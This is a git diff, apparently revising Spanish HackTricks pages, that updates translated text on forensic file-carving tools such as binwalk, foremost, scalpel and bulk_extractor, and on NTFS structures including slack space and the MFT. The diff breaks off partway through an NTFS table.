* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -26,12 +26,12 @@ Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https:/
|
|||
|
||||
## Autopsy
|
||||
|
||||
La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que procese el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
|
||||
La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples.
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** es una herramienta para buscar en archivos binarios como imágenes y archivos de audio para encontrar archivos y datos incrustados.\
|
||||
Se puede instalar con `apt`, sin embargo, el [código fuente](https://github.com/ReFirmLabs/binwalk) se encuentra en github.\
|
||||
**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados.\
|
||||
Puede ser instalado con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github.\
|
||||
**Comandos útiles**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
|
@ -41,7 +41,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo quieres buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto.
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará por defecto los tipos de archivos configurados.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -49,76 +49,76 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que quieres que extraiga.
|
||||
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Esta herramienta viene incluida en kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Esta herramienta viene incluida en Kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Esta herramienta puede escanear una imagen y **extraerá pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
|
||||
Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URL, dominios, IPs, MACs, correos electrónicos)** y más **archivos**. Solo tienes que hacer:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navegue a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analice** los **paquetes** (lea [**Análisis de Pcaps**](../pcap-inspection/)), busque **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
|
||||
Explora **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**Análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **no existentes**).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Puede encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Viene con versiones GUI y CLI. Puede seleccionar los **tipos de archivo** que desea que PhotoRec busque.
|
||||
Viene con versiones de GUI y CLI. Puedes seleccionar los **tipos de archivos** que deseas que PhotoRec busque.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
## binvis
|
||||
|
||||
Consulte el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de página web](https://binvis.io/#/).
|
||||
Revisa el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/).
|
||||
|
||||
### Características de BinVis
|
||||
|
||||
* Visualizador de estructura activo y visual
|
||||
* Visor de **estructuras visual y activo**
|
||||
* Múltiples gráficos para diferentes puntos de enfoque
|
||||
* Enfocarse en porciones de una muestra
|
||||
* **Ver cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
|
||||
* Enfoque en porciones de una muestra
|
||||
* **Ver cadenas y recursos**, en ejecutables PE o ELF por ejemplo
|
||||
* Obtener **patrones** para criptoanálisis en archivos
|
||||
* **Detectar** algoritmos de empaquetado o codificación
|
||||
* **Identificar** esteganografía por patrones
|
||||
* **Diferenciación binaria visual**
|
||||
* **Identificar** Esteganografía por patrones
|
||||
* **Diferenciación** binaria visual
|
||||
|
||||
BinVis es un excelente **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
|
||||
|
||||
# Herramientas Específicas para Carving de Datos
|
||||
# Herramientas Específicas de Recuperación de Datos
|
||||
|
||||
## FindAES
|
||||
|
||||
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
|
||||
Descarga [aquí](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Herramientas Complementarias
|
||||
|
||||
Puede usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
|
||||
Puede usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un pdf en texto y leerlo.
|
||||
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
|
||||
Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un PDF en texto y leerlo.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentre vulnerabilidades que importan más para poder solucionarlas más rápido. Intruder rastrea su superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda su pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébelo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -17,12 +17,12 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
## Autopsy
|
||||
|
||||
La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que procese el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
|
||||
La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** es una herramienta para buscar en archivos binarios como imágenes y archivos de audio para encontrar archivos y datos incrustados.
|
||||
Se puede instalar con `apt`, sin embargo, el [código fuente](https://github.com/ReFirmLabs/binwalk) se encuentra en github.
|
||||
**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados.
|
||||
Puede ser instalado con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github.
|
||||
**Comandos útiles**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
|
@ -32,7 +32,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo quieres buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto.
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivo configurados por defecto.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -40,54 +40,36 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** es otra herramienta que se puede usar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración \(_/etc/scalpel/scalpel.conf_\) los tipos de archivos que quieres que extraiga.
|
||||
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberá descomentar en el archivo de configuración \(_/etc/scalpel/scalpel.conf_\) los tipos de archivo que desea extraer.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Esta herramienta viene incluida en kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
Esta herramienta viene incluida en Kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Esta herramienta puede escanear una imagen y **extraerá pcaps** dentro de ella, **información de red \(URLs, dominios, IPs, MACs, correos\)** y más **archivos**. Solo tienes que hacer:
|
||||
Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red \(URLs, dominios, IPs, MACs, correos electrónicos\)** y más **archivos**. Solo tienes que hacer:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navegue a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analice** los **paquetes** \(lea [**Análisis de Pcaps**](../pcap-inspection/)\), busque **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Puede encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Viene con versión GUI y CLI. Puede seleccionar los **tipos de archivo** que desea que PhotoRec busque.
|
||||
Viene con versión GUI y CLI. Puedes seleccionar los **tipos de archivos** que deseas que PhotoRec busque.
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28524%29.png)
|
||||
|
||||
# Herramientas Específicas para Carving de Datos
|
||||
# Herramientas Específicas de Carving de Datos
|
||||
|
||||
## FindAES
|
||||
|
||||
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
|
||||
|
||||
Descargar [aquí](https://sourceforge.net/projects/findaes/).
|
||||
Descarga [aquí](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Herramientas Complementarias
|
||||
|
||||
Puede usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.
|
||||
Puede usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un pdf en texto y leerlo.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Puedes usar [**viu** ](https://github.com/atanunq/viu)para ver imágenes desde la terminal.
|
||||
Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un pdf en texto y leerlo.
|
||||
|
|
|
@ -4,21 +4,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **NTFS**
|
||||
|
||||
**NTFS** (**New Technology File System**) es un sistema de archivos con registro de transacciones propietario desarrollado por Microsoft.
|
||||
**NTFS** (**Sistema de Archivos de Nueva Tecnología**) es un sistema de archivos de registro propietario desarrollado por Microsoft.
|
||||
|
||||
El clúster es la unidad más pequeña de tamaño en NTFS y el tamaño del clúster depende del tamaño de una partición.
|
||||
|
||||
|
@ -31,64 +31,64 @@ El clúster es la unidad más pequeña de tamaño en NTFS y el tamaño del clús
|
|||
| 4097MB-8192MB (8GB) | 16 | 8KB |
|
||||
| 8193MB-16,384MB (16GB) | 32 | 16KB |
|
||||
| 16,385MB-32,768MB (32GB) | 64 | 32KB |
|
||||
| Más de 32,768MB | 128 | 64KB |
|
||||
| Mayor a 32,768MB | 128 | 64KB |
|
||||
|
||||
### **Espacio Sobrante**
|
||||
### **Espacio de Reserva**
|
||||
|
||||
Como la **unidad más pequeña** de tamaño de NTFS es un **clúster**. Cada archivo ocupará varios clústeres completos. Entonces, es muy probable que **cada archivo ocupe más espacio del necesario**. Estos **espacios no utilizados** **reservados** por un archivo se llaman **espacio sobrante** y las personas podrían aprovechar esta área para **ocultar** **información**.
|
||||
Dado que la unidad de tamaño más pequeña de NTFS es un clúster, cada archivo ocupará varios clústeres completos. Por lo tanto, es altamente probable que **cada archivo ocupe más espacio del necesario**. Estos **espacios no utilizados** reservados por un archivo se llaman **espacio de reserva** y las personas podrían aprovechar esta área para **ocultar información**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (498).png>)
|
||||
|
||||
### **Sector de arranque de NTFS**
|
||||
### **Sector de Arranque de NTFS**
|
||||
|
||||
Cuando formateas un volumen NTFS, el programa de formato asigna los primeros 16 sectores para el archivo de metadatos de arranque. El primer sector es un sector de arranque con un código de "bootstrap" y los siguientes 15 sectores son el IPL (Cargador de Programa Inicial) del sector de arranque. Para aumentar la fiabilidad del sistema de archivos, el último sector de una partición NTFS contiene una copia de reserva del sector de arranque.
|
||||
Cuando formateas un volumen NTFS, el programa de formato asigna los primeros 16 sectores para el archivo de metadatos de arranque. El primer sector es un sector de arranque con un código "bootstrap" y los siguientes 15 sectores son el IPL (Cargador de Programa Inicial) del sector de arranque. Para aumentar la confiabilidad del sistema de archivos, el último sector de una partición NTFS contiene una copia de respaldo del sector de arranque.
|
||||
|
||||
### **Tabla de Archivos Maestros (MFT)**
|
||||
### **Tabla Maestra de Archivos (MFT)**
|
||||
|
||||
El sistema de archivos NTFS contiene un archivo llamado Tabla de Archivos Maestros (MFT). Hay al menos **una entrada en la MFT para cada archivo en un volumen del sistema de archivos NTFS**, incluida la propia MFT. Toda la información sobre un archivo, incluyendo su **tamaño, marcas de tiempo y fecha, permisos y contenido de datos**, se almacena ya sea en entradas de la MFT o en espacio fuera de la MFT que es descrito por entradas de la MFT.
|
||||
El sistema de archivos NTFS contiene un archivo llamado Tabla Maestra de Archivos (MFT). Existe al menos **una entrada en la MFT para cada archivo en un volumen del sistema de archivos NTFS**, incluida la MFT en sí misma. Toda la información sobre un archivo, incluido su **tamaño, marcas de tiempo de tiempo y fecha, permisos y contenido de datos**, se almacena ya sea en las entradas de la MFT o en el espacio fuera de la MFT que es descrito por las entradas de la MFT.
|
||||
|
||||
A medida que se **agregan archivos** a un volumen del sistema de archivos NTFS, se agregan más entradas a la MFT y la **MFT aumenta de tamaño**. Cuando los **archivos** son **eliminados** de un volumen del sistema de archivos NTFS, sus **entradas de la MFT se marcan como libres** y pueden ser reutilizadas. Sin embargo, el espacio en disco que ha sido asignado para estas entradas no se reasigna, y el tamaño de la MFT no disminuye.
|
||||
A medida que se **añaden archivos** a un volumen del sistema de archivos NTFS, se añaden más entradas a la MFT y la **MFT aumenta de tamaño**. Cuando se **eliminan archivos** de un volumen del sistema de archivos NTFS, sus **entradas de MFT se marcan como libres** y pueden ser reutilizadas. Sin embargo, el espacio en disco que se ha asignado para estas entradas no se reasigna, y el tamaño de la MFT no disminuye.
|
||||
|
||||
El sistema de archivos NTFS **reserva espacio para la MFT para mantener la MFT lo más contigua posible** a medida que crece. El espacio reservado por el sistema de archivos NTFS para la MFT en cada volumen se llama la **zona MFT**. El espacio para archivos y directorios también se asigna desde este espacio, pero solo después de que todo el espacio del volumen fuera de la zona MFT haya sido asignado.
|
||||
El sistema de archivos NTFS **reserva espacio para la MFT para mantener la MFT lo más contigua posible** a medida que crece. El espacio reservado por el sistema de archivos NTFS para la MFT en cada volumen se llama la **zona de MFT**. El espacio para archivos y directorios también se asigna desde este espacio, pero solo después de que todo el espacio del volumen fuera de la zona de MFT se haya asignado.
|
||||
|
||||
Dependiendo del tamaño promedio de archivo y otras variables, **o bien la zona MFT reservada o el espacio no reservado en el disco pueden ser asignados primero a medida que el disco se llena hasta su capacidad**. Los volúmenes con un pequeño número de archivos relativamente grandes asignarán primero el espacio no reservado, mientras que los volúmenes con un gran número de archivos relativamente pequeños asignarán primero la zona MFT. En cualquier caso, la fragmentación de la MFT comienza a tener lugar cuando una región u otra se asigna completamente. Si el espacio no reservado está completamente asignado, el espacio para archivos y directorios de usuario se asignará desde la zona MFT. Si la zona MFT está completamente asignada, el espacio para nuevas entradas de la MFT se asignará desde el espacio no reservado.
|
||||
Dependiendo del tamaño promedio de los archivos y otras variables, **ya sea la zona de MFT reservada o el espacio no reservado en el disco puede asignarse primero a medida que el disco se llena**. Los volúmenes con un pequeño número de archivos relativamente grandes asignarán primero el espacio no reservado, mientras que los volúmenes con un gran número de archivos relativamente pequeños asignarán primero la zona de MFT. En cualquier caso, la fragmentación de la MFT comienza a ocurrir cuando una región u otra se asigna por completo. Si el espacio no reservado se asigna por completo, el espacio para archivos y directorios de usuario se asignará desde la zona de MFT. Si la zona de MFT se asigna por completo, el espacio para nuevas entradas de MFT se asignará desde el espacio no reservado.
|
||||
|
||||
Los sistemas de archivos NTFS también generan un **$MFTMirror**. Esto es una **copia** de las **primeras 4 entradas** de la MFT: $MFT, $MFT Mirror, $Log, $Volume.
|
||||
Los sistemas de archivos NTFS también generan un **$MFTMirror**. Esta es una **copia** de los **primeros 4 registros** de la MFT: $MFT, $MFT Mirror, $Log, $Volume.
|
||||
|
||||
NTFS reserva los primeros 16 registros de la tabla para información especial:
|
||||
|
||||
| Archivo del Sistema | Nombre del Archivo | Registro MFT | Propósito del Archivo |
|
||||
| Archivo de Sistema | Nombre de Archivo | Registro MFT | Propósito del Archivo |
|
||||
